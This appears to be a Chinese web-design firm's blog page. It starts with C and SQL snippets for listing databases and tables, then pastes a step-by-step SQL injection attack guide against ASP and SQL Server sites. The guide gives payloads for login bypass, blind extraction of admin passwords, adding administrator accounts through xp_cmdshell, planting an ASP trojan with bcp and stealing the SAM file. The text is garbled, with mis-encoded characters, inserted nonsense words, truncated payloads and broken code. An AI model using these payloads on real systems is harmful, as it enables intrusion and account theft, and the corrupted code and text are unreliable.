新聞中心
數(shù)據(jù)庫(kù)作為重要的數(shù)據(jù)存儲(chǔ)和管理工具,使用廣泛,涵蓋了各個(gè)領(lǐng)域。C語(yǔ)言作為一種經(jīng)典的程序設(shè)計(jì)語(yǔ)言,擁有高效、穩(wěn)定等優(yōu)秀性能,因此如何利用C語(yǔ)言獲取全部數(shù)據(jù)庫(kù)名稱(chēng),具有相當(dāng)操作價(jià)值。本文將介紹一種使用C語(yǔ)言獲取全部數(shù)據(jù)庫(kù)名稱(chēng)的簡(jiǎn)單高效方法。

站在用戶的角度思考問(wèn)題,與客戶深入溝通,找到故城網(wǎng)站設(shè)計(jì)與故城網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計(jì)與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個(gè)性化、用戶體驗(yàn)好的作品,建站類(lèi)型包括:成都網(wǎng)站設(shè)計(jì)、網(wǎng)站制作、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、域名與空間、雅安服務(wù)器托管、企業(yè)郵箱。業(yè)務(wù)覆蓋故城地區(qū)。
一、為何使用C語(yǔ)言?
通過(guò)C語(yǔ)言編寫(xiě)程序,在獲取數(shù)據(jù)庫(kù)名稱(chēng)的過(guò)程中,能夠?qū)崿F(xiàn)高效穩(wěn)定的操作。C語(yǔ)言具有以下幾個(gè)特點(diǎn):
1、高速度:C語(yǔ)言執(zhí)行代碼的速度非??欤芍苯硬僮鞯讓佑布?,因此能夠快速地獲取數(shù)據(jù)庫(kù)信息。
2、可移植性:C語(yǔ)言的高度可移植性,能夠在多種不同操作系統(tǒng)和平臺(tái)上執(zhí)行,因此可用于跨平臺(tái)的程序開(kāi)發(fā)。
3、靈活性:C語(yǔ)言具有極高的靈活性。程序員可以根據(jù)自身的需要,使用C語(yǔ)言完成各種不同的任務(wù),包括獲取數(shù)據(jù)庫(kù)名稱(chēng)等。
二、如何獲取全部數(shù)據(jù)庫(kù)名稱(chēng)?
獲取全部數(shù)據(jù)庫(kù)名稱(chēng),需要了解數(shù)據(jù)庫(kù)的相關(guān)知識(shí),具體流程如下:
1、首先需要?jiǎng)?chuàng)建一個(gè)數(shù)據(jù)庫(kù)的對(duì)象,使用該對(duì)象可以獲取關(guān)于數(shù)據(jù)庫(kù)的不同信息。
2、使用該對(duì)象的數(shù)據(jù)庫(kù)操作語(yǔ)句,執(zhí)行SELECT操作,從數(shù)據(jù)庫(kù)中檢索出所有已存在的數(shù)據(jù)的名稱(chēng)。
3、獲得結(jié)果集,以方便對(duì)結(jié)果進(jìn)行處理。
4、對(duì)結(jié)果進(jìn)行遍歷,提取出所有的數(shù)據(jù)名稱(chēng),并將其保存在相關(guān)的列表或變量中。
三、具體實(shí)現(xiàn)方法
實(shí)現(xiàn)獲取全部數(shù)據(jù)庫(kù)名稱(chēng)的方法,可以參考以下代碼:
“`
#include
#include
#include
int mn()
{
MYSQL *mysql;
MYSQL_RES *result;
MYSQL_ROW row;
mysql = mysql_init(NULL);
mysql_real_connect(mysql, “l(fā)ocalhost”, “username”, “password”, “database”, 0, NULL, 0);
mysql_query(mysql, “SELECT SCHEMA_NAME FROM information_schema.SCHEMATA”);
result = mysql_store_result(mysql);
while ((row = mysql_fetch_row(result)) != NULL)
printf(“%s\n”, row[0]);
mysql_free_result(result);
mysql_close(mysql);
return 0;
}
“`
在該代碼示例中,我們使用MySQL數(shù)據(jù)庫(kù)對(duì)象,以獲取關(guān)于該數(shù)據(jù)庫(kù)的相關(guān)信息。然后使用SELECT操作檢索出該數(shù)據(jù)庫(kù)中存在的所有數(shù)據(jù)的名稱(chēng),并將其保存在相關(guān)列表或變量中。通過(guò)循環(huán)遍歷結(jié)果集,提取出所有的數(shù)據(jù)名稱(chēng),并將其打印輸出。
四、
相關(guān)問(wèn)題拓展閱讀:
- 如何獲取數(shù)據(jù)庫(kù)中表名、字段名、字段屬性信息?
- 代碼注入的特征
如何獲取數(shù)據(jù)庫(kù)中表名、字段名、字段屬性信息?
我找到并在ACCESS里測(cè)試通過(guò)了:
在ACCESS里,備注類(lèi)型用Memo表示,所以改變字段的數(shù)據(jù)類(lèi)型為備注的SQL為:
ALTER TABLE user ALTER COLUMN userinfo Memo
對(duì)了,如果user表有外鍵,而且你要修改的字段就是外鍵的話,你就不能修改啦!
下面給出修改為其它類(lèi)型的SQL(表為tb,字段為aa):
ALTER TABLE tb ALTER COLUMN aa Byte 數(shù)字
ALTER TABLE tb ALTER COLUMN aa Long 數(shù)豎段渣字
ALTER TABLE tb ALTER COLUMN aa Short 數(shù)字余悄
ALTER TABLE tb ALTER COLUMN aa Single 數(shù)字
ALTER TABLE tb ALTER COLUMN aa Double 數(shù)字
ALTER TABLE tb ALTER COLUMN aa Currency 貨幣
ALTER TABLE tb ALTER COLUMN aa Char 文本
ALTER TABLE tb ALTER COLUMN aa Text(n) 文本,其中n表示字段大小
ALTER TABLE tb ALTER COLUMN aa Binary 二進(jìn)制
ALTER TABLE tb ALTER COLUMN aa Counter 自動(dòng)編燃氏號(hào)
ALTER TABLE tb ALTER COLUMN aa Memo 備注
ALTER TABLE tb ALTER COLUMN aa Time 日期/時(shí)間
無(wú)聊~~
如果是db2 的表名:
list tables
得到每一個(gè)表枯好的詳細(xì)信息字段名,字段屬性(類(lèi)型,文字長(zhǎng)度,備注)瞎州
describe table 具體的表名
平時(shí)我就這么獲得沒(méi)神鉛這些信息
獲取當(dāng)前數(shù)據(jù)庫(kù)表名:
select name from sysobjects where xtype=’U’and name’dtproperties’
獲取當(dāng)前表的字段彎爛雀名及屬性:
select a.name, b.xtype,b.name
from syscolumns a
inner JOIN systypes b
ON a.xtype=b.xusertype
inner join sysobjects c ON
a.id=c.id AND c.xtype=’U’ AND c.name歷叢’dtproperties’ where c.name = 表名
或:
SELECT
表名 = CASE a.colorder WHEN 1 THEN c.name ELSE ” END,
序 = a.colorder,
字段名 = a.name,
標(biāo)識(shí) = CASE COLUMNPROPERTY(a.id,a.name,’IsIdentity’) WHEN 1 THEN ‘√’ ELSE ” END,
主鍵 = CASE
WHEN EXISTS (
SELECT *
FROM sysobjects
WHERE xtype=’PK’ AND name IN (
SELECT name
FROM sysindexes
WHERE id=a.id AND indid IN (
SELECT indid
FROM sysindexkeys
WHERE id=a.id AND colid IN (
SELECT colid
FROM syscolumns
WHERE id=a.id AND name=a.name
)
)
)
)
THEN ‘√’
ELSE ”
END,
類(lèi)型 = b.name,
字節(jié)數(shù) = a.length,
長(zhǎng)度 = COLUMNPROPERTY(a.id,a.name,’Precision’),
小數(shù) = CASE ISNULL(COLUMNPROPERTY(a.id,a.name,’Scale’),0)
WHEN 0 THEN ”
ELSE CAST(COLUMNPROPERTY(a.id,a.name,’Scale’) AS VARCHAR)
END,
允許空 = CASE a.isnullable WHEN 1 THEN ‘埋早√’ ELSE ” END,
默認(rèn)值 = ISNULL(d.,”),
說(shuō)明 = ISNULL(e.,”)
FROM syscolumns a
LEFT JOIN systypes b ON a.xtype=b.xusertype
INNER JOIN sysobjects c ON a.id=c.id AND c.xtype=’U’ AND c.name’dtproperties’
LEFT JOIN syscomments d ON a.cdefault=d.id
LEFT JOIN sysproperties e ON a.id=e.id AND a.colid=e.allid
代碼注入的特征
SQL注入是從正常的WWW端口訪問(wèn),而且表面看起來(lái)跟一般的Web頁(yè)面訪問(wèn)沒(méi)什么區(qū)別,所以目前市面的防火墻都不會(huì)對(duì)SQL注入發(fā)出警報(bào),如果管理員沒(méi)查看IIS日志的習(xí)慣,可能被入侵很長(zhǎng)時(shí)間都不會(huì)發(fā)覺(jué)。但是,SQL注入的手法相當(dāng)靈活,在注入的時(shí)候會(huì)碰到很多意外的情況。能不能根據(jù)具體情況進(jìn)行分析,構(gòu)造巧妙的SQL語(yǔ)句,從而成功獲取想要的數(shù)據(jù)。
據(jù)統(tǒng)計(jì),網(wǎng)站用ASP+Access或SQLServer的占70%以上,PHP+MySQL占20%,其他的不足10%。在本文,以SQL-SERVER+ASP例說(shuō)明SQL注入的原理、方法與過(guò)程。(PHP注入的文章由NB聯(lián)盟的另一位朋友zwell撰寫(xiě)的有關(guān)文章)
SQL注入攻擊的總體思路是:
l 發(fā)現(xiàn)SQL注入位置;
l 判斷后臺(tái)數(shù)據(jù)庫(kù)類(lèi)型;
l 確定XP_CMDSHELL可執(zhí)行情況
l 發(fā)現(xiàn)WEB虛擬目錄
l 上傳ASP木馬;
l 得到管理員權(quán)限;
一、SQL注入漏洞的判斷
一般來(lái)說(shuō),SQL注入一般存在于形如:
等帶有參數(shù)的ASP動(dòng)態(tài)網(wǎng)頁(yè)中,有時(shí)一個(gè)動(dòng)態(tài)網(wǎng)頁(yè)中可能只有一個(gè)參數(shù),有時(shí)可能有N個(gè)參數(shù),有時(shí)是整型參數(shù),有時(shí)是字符串型參數(shù),不能一概而論??傊灰菐в袇?shù)的動(dòng)態(tài)網(wǎng)頁(yè)且此網(wǎng)頁(yè)訪問(wèn)了數(shù)據(jù)庫(kù),那么就有可能存在SQL注入。如果ASP程序員沒(méi)有安全意識(shí),不進(jìn)行必要的字符過(guò)濾,存在SQL注入的可能性就非常大。
為了全面了解動(dòng)態(tài)網(wǎng)頁(yè)回答的信息,首選請(qǐng)調(diào)整IE的配置。把IE菜單-工具-Internet選項(xiàng)-高級(jí)-顯示友好HTTP錯(cuò)誤信息前面的勾去掉。
為了把問(wèn)題說(shuō)明清楚,以下以
為例進(jìn)行分析,YY可能是整型,也有可能是字符串。
1、整型參數(shù)的判斷
當(dāng)輸入的參數(shù)YY為整型時(shí),通常abc.asp中SQL語(yǔ)句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步驟測(cè)試SQL注入是否存在。
①
select * from 表名 where 字段=YY’,abc.asp運(yùn)行異常;
② and 1=1, abc.asp運(yùn)行正常,而且與
運(yùn)行結(jié)果相同;
③ and 1=2, abc.asp運(yùn)行異常;
如果以上三步全面滿足,旁游蘆abc.asp中一定存在SQL注入漏洞。
2、字符串型參數(shù)的判斷
當(dāng)輸入的參數(shù)YY為字符串時(shí),通常abc.asp中SQL語(yǔ)句原貌大致如下:
select * from 表名 where 字段=’YY’,所以可以用以下步驟測(cè)試SQL注入是否存在。
①
select * from 表名 where 字段=YY’,abc.asp運(yùn)行異常;
② … 39;1’=’1′, abc.asp運(yùn)行正常,而且與
運(yùn)行結(jié)果相同;
③ … 39;1’=’2′, abc.asp運(yùn)行異常;
如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
3、特運(yùn)帶殊情況的處理
有時(shí)ASP程序員會(huì)在程序員過(guò)濾掉單引號(hào)等字符,以防止SQL注入。此時(shí)可以用以下幾種方法試一試。
①大小定混合法:由于VBS并不區(qū)分大小寫(xiě),而程序員在過(guò)濾時(shí)通常要么全部過(guò)濾大寫(xiě)字符串,要么全部過(guò)濾小寫(xiě)字符串,而大小寫(xiě)混合往往會(huì)被忽視。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以磨枝UNICODE字符集實(shí)現(xiàn)國(guó)際化,我們完全可以IE中輸入的字符串化成UNICODE字符串進(jìn)行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見(jiàn)附件一;
③ASCII碼法:可以把輸入的部分或全部字符全部用ASCII碼代替,如U=chr(85),a=chr(97)等,ASCII信息參見(jiàn)附件二;
二、區(qū)分?jǐn)?shù)據(jù)庫(kù)服務(wù)器類(lèi)型
一般來(lái)說(shuō),ACCESS與SQL-SERVER是最常用的數(shù)據(jù)庫(kù)服務(wù)器,盡管它們都支持T-SQL標(biāo)準(zhǔn),但還有不同之處,而且不同的數(shù)據(jù)庫(kù)有不同的攻擊方法,必須要區(qū)別對(duì)待。
1、 利用數(shù)據(jù)庫(kù)服務(wù)器的系統(tǒng)變量進(jìn)行區(qū)分
SQL-SERVER有user,db_name()等系統(tǒng)變量,利用這些系統(tǒng)值不僅可以判斷SQL-SERVER,而且還可以得到大量有用信息。如:
①
and user>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前連接到數(shù)據(jù)庫(kù)的用戶名
② … db_name()>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前正在使用的數(shù)據(jù)庫(kù)名;
2、利用系統(tǒng)表
ACCESS的系統(tǒng)表是msysobjects,且在WEB環(huán)境下沒(méi)有訪問(wèn)權(quán)限,而SQL-SERVER的系統(tǒng)表是sysobjects,在WEB環(huán)境下有訪問(wèn)權(quán)限。對(duì)于以下兩條語(yǔ)句:
① and (select count(*) from sysobjects)>0
② and (select count(*) from msysobjects)>0
若數(shù)據(jù)庫(kù)是SQL-SERVE,則之一條,abc.asp一定運(yùn)行正常,第二條則異常;若是ACCESS則兩條都會(huì)異常。
3、 MSSQL三個(gè)關(guān)鍵系統(tǒng)表
sysdatabases系統(tǒng)表:Microsoft SQL Server 上的每個(gè)數(shù)據(jù)庫(kù)在表中占一行。最初安裝 SQL Server 時(shí),sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數(shù)據(jù)庫(kù)的項(xiàng)。該表只存儲(chǔ)在 master 數(shù)據(jù)庫(kù)中。 這個(gè)表保存在master數(shù)據(jù)庫(kù)中,這個(gè)表中保存的是什么信息呢?這個(gè)非常重要。他是 保存了所有的庫(kù)名,以及庫(kù)的ID和一些相關(guān)信息。
這里我把對(duì)于我們有用的字段名稱(chēng)和相關(guān)說(shuō)明給大家列出來(lái)。name //表示庫(kù)的名字。
dbid //表示庫(kù)的ID,dbid從1到5是系統(tǒng)的。分別是:master、model、msdb、mssqlweb、tempdb 這五個(gè)庫(kù)。用select * from master.dbo.sysdatabases 就可以查詢出所有的庫(kù)名。
Sysobjects:SQL-SERVER的每個(gè)數(shù)據(jù)庫(kù)內(nèi)都有此系統(tǒng)表,它存放該數(shù)據(jù)庫(kù)內(nèi)創(chuàng)建的所有對(duì)象,如約束、默認(rèn)值、日志、規(guī)則、存儲(chǔ)過(guò)程等,每個(gè)對(duì)象在表中占一行。以下是此系統(tǒng)表的字段名稱(chēng)和相關(guān)說(shuō)明。
Name,id,xtype,uid,status:分別是對(duì)象名,對(duì)象ID,對(duì)象類(lèi)型,所有者對(duì)象的用戶ID,對(duì)象狀態(tài)。
對(duì)象類(lèi)型(xtype)??梢允窍铝袑?duì)象類(lèi)型中的一種:
C = CHECK 約束
D = 默認(rèn)值或 DEFAULT 約束
F = FOREIGN KEY 約束
L = 日志
FN = 標(biāo)量函數(shù)
IF = 內(nèi)嵌表函數(shù)
P = 存儲(chǔ)過(guò)程
PK = PRIMARY KEY 約束(類(lèi)型是 K)
RF = 復(fù)制篩選存儲(chǔ)過(guò)程
S = 系統(tǒng)表
TF = 表函數(shù)
TR = 觸發(fā)器
U = 用戶表
UQ = UNIQUE 約束(類(lèi)型是 K)
V = 視圖
X = 擴(kuò)展存儲(chǔ)過(guò)程
當(dāng)xtype=’U’ and status>0代表是用戶建立的表,對(duì)象名就是表名,對(duì)象ID就是表的ID值。
用: select * from ChouYFD.dbo.sysobjects where xtype=’U’ and status>0 就可以列出庫(kù)ChouYFD中所有的用戶建立的表名。
syscolumns :每個(gè)表和視圖中的每列在表中占一行,存儲(chǔ)過(guò)程中的每個(gè)參數(shù)在表中也占一行。該表位于每個(gè)數(shù)據(jù)庫(kù)中。主要字段有:
name ,id, colid :分別是字段名稱(chēng),表ID號(hào),字段ID號(hào),其中的 ID 是 剛上我們用sysobjects得到的表的ID號(hào)。
用: select * from ChouYFD.dbo.syscolumns where id=得到ChouYFD這個(gè)庫(kù)中,表的ID是中的所有字段列表。
三、確定XP_CMDSHELL可執(zhí)行情況
若當(dāng)前連接數(shù)據(jù)的帳號(hào)具有SA權(quán)限,且master.dbo.xp_cmdshell擴(kuò)展存儲(chǔ)過(guò)程(調(diào)用此存儲(chǔ)過(guò)程可以直接使用操作系統(tǒng)的shell)能夠正確執(zhí)行,則整個(gè)計(jì)算機(jī)可以通過(guò)以下幾種方法完全控制,以后的所有步驟都可以省
1、
… er>0 abc.asp執(zhí)行異常但可以得到當(dāng)前連接數(shù)據(jù)庫(kù)的用戶名(若顯示dbo則代表SA)。
2、
… me()>0 abc.asp執(zhí)行異常但可以得到當(dāng)前連接的數(shù)據(jù)庫(kù)名。
3、
;exec master..xp_cmdshell net user aaa bbb /add– (master是SQL-SERVER的主數(shù)據(jù)庫(kù);名中的分號(hào)表示SQL-SERVER執(zhí)行完分號(hào)前的語(yǔ)句名,繼續(xù)執(zhí)行其后面的語(yǔ)句;—號(hào)是注解,表示其后面的所有內(nèi)容僅為注釋?zhuān)到y(tǒng)并不執(zhí)行)可以直接增加操作系統(tǒng)帳戶aaa,密碼為bbb。
4、
;exec master..xp_cmdshell net localgroup administrators aaa /add– 把剛剛增加的帳戶aaa加到administrators組中。
5、
;backuup database 數(shù)據(jù)庫(kù)名 to disk=’c:\inetpub\wwwroot\save.db’ 則把得到的數(shù)據(jù)內(nèi)容全部備份到WEB目錄下,再用HTTP把此文件下載(當(dāng)然首選要知道WEB虛擬目錄)。
6、通過(guò)復(fù)制CMD創(chuàng)建UNICODE漏洞
… dbo.xp_cmdshell copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe 便制造了一個(gè)UNICODE漏洞,通過(guò)此漏洞的利用方法,便完成了對(duì)整個(gè)計(jì)算機(jī)的控制(當(dāng)然首選要知道WEB虛擬目錄)。
四、發(fā)現(xiàn)WEB虛擬目錄
只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進(jìn)而得到USER權(quán)限。有兩種方法比較有效。
一是根據(jù)經(jīng)驗(yàn)猜解,一般來(lái)說(shuō),WEB虛擬目錄是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可執(zhí)行虛擬目錄是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)果并發(fā)現(xiàn)WEB虛擬目錄;
先創(chuàng)建一個(gè)臨時(shí)表:temp
… mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
接下來(lái):
(1)我們可以利用xp_availablemedia來(lái)獲得當(dāng)前所有驅(qū)動(dòng)器,并存入temp表中:
temp … ter.dbo.xp_availablemedia;–
我們可以通過(guò)查詢temp的內(nèi)容來(lái)獲得驅(qū)動(dòng)器列表及相關(guān)信息
(2)我們可以利用xp_subdirs獲得子目錄列表,并存入temp表中:
into temp(i … dbo.xp_subdirs ‘c:\’;–
(3)我們還可以利用xp_dirtree獲得所有子目錄的目錄樹(shù)結(jié)構(gòu),并寸入temp表中:
into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–
這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:
如果我們需要查看某個(gè)文件的內(nèi)容,可以通過(guò)執(zhí)行xp_cmdsell:
into temp(id) exec … nbsp;’type c:\web\index.asp’;–
使用’bulk insert’語(yǔ)法可以將一個(gè)文本文件插入到一個(gè)臨時(shí)表中。如:bulk insert temp(id) from ‘c:\inetpub\wwwroot\index.asp’
瀏覽temp就可以看到index.asp文件的內(nèi)容了!通過(guò)分析各種ASP文件,可以得到大量系統(tǒng)信息,WEB建設(shè)與管理信息,甚至可以得到SA帳號(hào)的連接密碼。
當(dāng)然,如果xp_cmshell能夠執(zhí)行,我們可以用它來(lái)完成:
into temp(id)&nbs … cmdshell ‘dir c:\’;–
into temp(id)&n … p_cmdshell ‘dir c:\ *.asp /s/a’;–
通過(guò)xp_cmdshell我們可以看到所有想看到的,包括W3svc
into temp(id) exec master.dbo.xp_cmdshe … ub\AdminScripts\adsutil.vbs enum w3svc’
但是,如果不是SA權(quán)限,我們還可以使用
into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–
注意:
1、以上每完成一項(xiàng)瀏覽后,應(yīng)刪除TEMP中的所有內(nèi)容,刪除方法是:
from temp;–
2、瀏覽TEMP表的方法是:(假設(shè)TestDB是當(dāng)前連接的數(shù)據(jù)庫(kù)名)
and (select top& … nbsp;TestDB.dbo.temp )>0 得到表TEMP中之一條記錄id字段的值,并與整數(shù)進(jìn)行比較,顯然abc.asp工作異常,但在異常中卻可以發(fā)現(xiàn)id字段的值。假設(shè)發(fā)現(xiàn)的表名是xyz,則
and (select top 1 id from … ere id not in(‘xyz’))>0 得到表TEMP中第二條記錄id字段的值。
五、上傳ASP木馬
所謂ASP木馬,就是一段有特殊功能的ASP代碼,并放入WEB虛擬目錄的Scripts下,遠(yuǎn)程客戶通過(guò)IE就可執(zhí)行它,進(jìn)而得到系統(tǒng)的USER權(quán)限,實(shí)現(xiàn)對(duì)系統(tǒng)的初步控制。上傳ASP木馬一般有兩種比較有效的方法:
1、利用WEB的遠(yuǎn)程管理功能
許多WEB站點(diǎn),為了維護(hù)的方便,都提供了遠(yuǎn)程管理的功能;也有不少WEB站點(diǎn),其內(nèi)容是對(duì)于不同的用戶有不同的訪問(wèn)權(quán)限。為了達(dá)到對(duì)用戶權(quán)限的控制,都有一個(gè)網(wǎng)頁(yè),要求用戶名與密碼,只有輸入了正確的值,才能進(jìn)行下一步的操作,可以實(shí)現(xiàn)對(duì)WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。
因此,若獲取正確的用戶名與密碼,不僅可以上傳ASP木馬,有時(shí)甚至能夠直接得到USER權(quán)限而瀏覽系統(tǒng),上一步的發(fā)現(xiàn)WEB虛擬目錄的復(fù)雜操作都可省略。
用戶名及密碼一般存放在一張表中,發(fā)現(xiàn)這張表并讀取其中內(nèi)容便解決了問(wèn)題。以下給出兩種有效方法。
A、 注入法:
從理論上說(shuō),認(rèn)證網(wǎng)頁(yè)中會(huì)有型如:
select * from admin where username=’XXX’ and password=’YYY’ 的語(yǔ)句,若在正式運(yùn)行此句之前,沒(méi)有進(jìn)行必要的字符過(guò)濾,則很容易實(shí)施SQL注入。
如在用戶名文本框內(nèi)輸入:abc’ or 1=1– 在密碼框內(nèi)輸入:123 則SQL語(yǔ)句變成:
select * from admin where username=’abc’ or 1=1 and password=’123′ 不管用戶輸入任何用戶名與密碼,此語(yǔ)句永遠(yuǎn)都能正確執(zhí)行,用戶輕易騙過(guò)系統(tǒng),獲取合法身份。
B、猜解法:
基本思路是:猜解所有數(shù)據(jù)庫(kù)名稱(chēng),猜出庫(kù)中的每張表名,分析可能是存放用戶名與密碼的表名,猜出表中的每個(gè)字段名,猜出表中的每條記錄內(nèi)容。
l 猜解所有數(shù)據(jù)庫(kù)名稱(chēng)
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 0 因?yàn)?dbid 的值從1到5,是系統(tǒng)用了。所以用戶自己建的一定是從6開(kāi)始的。并且我們提交了 name>1 (name字段是一個(gè)字符型的字段和數(shù)字比較會(huì)出錯(cuò)),abc.asp工作異常,可得到之一個(gè)數(shù)據(jù)庫(kù)名,同理把DBID分別改成7,8,9,10,11,12…就可得到所有數(shù)據(jù)庫(kù)名。
以下假設(shè)得到的數(shù)據(jù)庫(kù)名是TestDB。
l 猜解數(shù)據(jù)庫(kù)中用戶名表的名稱(chēng)
猜解法:此方法就是根據(jù)個(gè)人的經(jīng)驗(yàn)猜表名,一般來(lái)說(shuō),user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過(guò)語(yǔ)句進(jìn)行判斷
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環(huán),直到猜到系統(tǒng)帳號(hào)表的名稱(chēng)。
讀取法:SQL-SERVER有一個(gè)存放系統(tǒng)核心信息的表sysobjects,有關(guān)一個(gè)庫(kù)的所有表,視圖等信息全部存放在此表中,而且此表可以通過(guò)WEB進(jìn)行訪問(wèn)。
當(dāng)xtype=’U’ and status>0代表是用戶建立的表,發(fā)現(xiàn)并分析每一個(gè)用戶建立的表及名稱(chēng),便可以得到用戶名表的名稱(chēng),基本的實(shí)現(xiàn)方法是:
① and (select top 1 name from TestD … type=’U’ and status>0 )>0 得到之一個(gè)用戶建立表的名稱(chēng),并與整數(shù)進(jìn)行比較,顯然abc.asp工作異常,但在異常中卻可以發(fā)現(xiàn)表的名稱(chēng)。假設(shè)發(fā)現(xiàn)的表名是xyz,則
② and (select top 1 name from TestDB.dbo.sysobjects& … tatus>0 and name not in(‘xyz’))>0 可以得到第二個(gè)用戶建立的表的名稱(chēng),同理就可得到所有用建立的表的名稱(chēng)。
根據(jù)表的名稱(chēng),一般可以認(rèn)定那張表用戶存放用戶名及密碼,以下假設(shè)此表名為Admin。
l 猜解用戶名字段及密碼字段名稱(chēng)
admin表中一定有一個(gè)用戶名字段,也一定有一個(gè)密碼字段,只有得到此兩個(gè)字段的名稱(chēng),才有可能得到此兩字段的內(nèi)容。如何得到它們的名稱(chēng)呢,同樣有以下兩種方法。
猜解法:此方法就是根據(jù)個(gè)人的經(jīng)驗(yàn)猜字段名,一般來(lái)說(shuō),用戶名字段的名稱(chēng)常用:username,name,user,account等。而密碼字段的名稱(chēng)常用:password,pass,pwd,passwd等。并通過(guò)語(yǔ)句進(jìn)行判斷
and (select count(字段名) from TestDB.dbo.admin)>0 select count(字段名) from 表名語(yǔ)句得到表的行數(shù),所以若字段名存在,則abc.asp工作正常,否則異常。如此循環(huán),直到猜到兩個(gè)字段的名稱(chēng)。
讀取法:基本的實(shí)現(xiàn)方法是
and (select … me(object_id(‘a(chǎn)dmin’),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id(‘a(chǎn)dmin’),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的之一個(gè)字段名,當(dāng)與整數(shù)進(jìn)行比較,顯然abc.asp工作異常,但在異常中卻可以發(fā)現(xiàn)字段的名稱(chēng)。把col_name(object_id(‘a(chǎn)dmin’),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱(chēng)。
l 猜解用戶名與密碼
猜用戶名與密碼的內(nèi)容最常用也是最有效的方法有:
ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的?;镜乃悸肥窍炔鲁鲎侄蔚拈L(zhǎng)度,然后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說(shuō)明其過(guò)程。
and (select top&n … nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username為用戶名字段的名稱(chēng),admin為表的名稱(chēng)),若x為某一值i且abc.asp運(yùn)行正常時(shí),則i就是之一個(gè)用戶名的長(zhǎng)度。如:當(dāng)輸入
and (select top … e) from TestDB.dbo.admin)=8時(shí)abc.asp運(yùn)行正常,則之一個(gè)用戶名的長(zhǎng)度為8
and (sel … ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長(zhǎng)度之間,當(dāng)m=1,2,3,…時(shí)猜測(cè)分別猜測(cè)第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶帳號(hào)表的名稱(chēng)),若n為某一值i且abc.asp運(yùn)行正常時(shí),則i對(duì)應(yīng)ASCII碼就是用戶名某一位值。如:當(dāng)輸入
and (sel … ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時(shí)abc.asp運(yùn)行正常,則用戶名的第三位為P(P的ASCII為80);
and (sel … ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時(shí)abc.asp運(yùn)行正常,則用戶名的第9位為!(!的ASCII為33);
猜到之一個(gè)用戶名及密碼后,同理,可以猜出其他所有用戶名與密碼。注意:有時(shí)得到的密碼可能是經(jīng)MD5等方式加密后的信息,還需要用專(zhuān)用工具進(jìn)行脫密?;蛘呦雀钠涿艽a,使用完后再改回來(lái),見(jiàn)下面說(shuō)明。
簡(jiǎn)單法:猜用戶名用
and (select top 1 … o.admin where username>1) , flag是admin表中的一個(gè)字段,username是用戶名字段,此時(shí)abc.asp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二用戶名,第三個(gè)用戶等等,直到表中的所有用戶名。
猜用戶密碼:
and (select top 1&nb … B.dbo.admin where pwd>1) , flag是admin表中的一個(gè)字段,pwd是密碼字段,此時(shí)abc.asp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個(gè)用戶的密碼等等,直到表中的所有用戶的密碼。密碼有時(shí)是經(jīng)MD5加密的,可以改密碼。
TestDB.dbo.admin set pwd=’ … where username=’www’;– ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)
用同樣的方法當(dāng)然可把密碼改原來(lái)的值。
2、利用表內(nèi)容導(dǎo)成文件功能
SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項(xiàng)功能,我們可以先建一張臨時(shí)表,然后在表中一行一行地輸入一個(gè)ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。
命令行格式如下:
bcp select * from text..foo queryout c:\inetpub\wwwroot\runcommand.asp -c -S localhost -U sa -P foobar (‘S’參數(shù)為執(zhí)行查詢的服務(wù)器,’U’參數(shù)為用戶名,’P’參數(shù)為密碼,最終上傳了一個(gè)runcommand.asp的木馬)
六、得到系統(tǒng)的管理員權(quán)限
ASP木馬只有USER權(quán)限,要想獲取對(duì)系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。怎么辦?提升權(quán)限的方法有很多種:
上傳木馬,修改開(kāi)機(jī)自動(dòng)運(yùn)行的.ini文件(它一重啟,便死定了);
復(fù)制CMD.exe到scripts,人為制造UNICODE漏洞;
下載SAM文件,破解并獲取OS的所有用戶名密碼;
等等,視系統(tǒng)的具體情況而定,可以采取不同的方法。
七、幾個(gè)SQL-SERVER專(zhuān)用手段
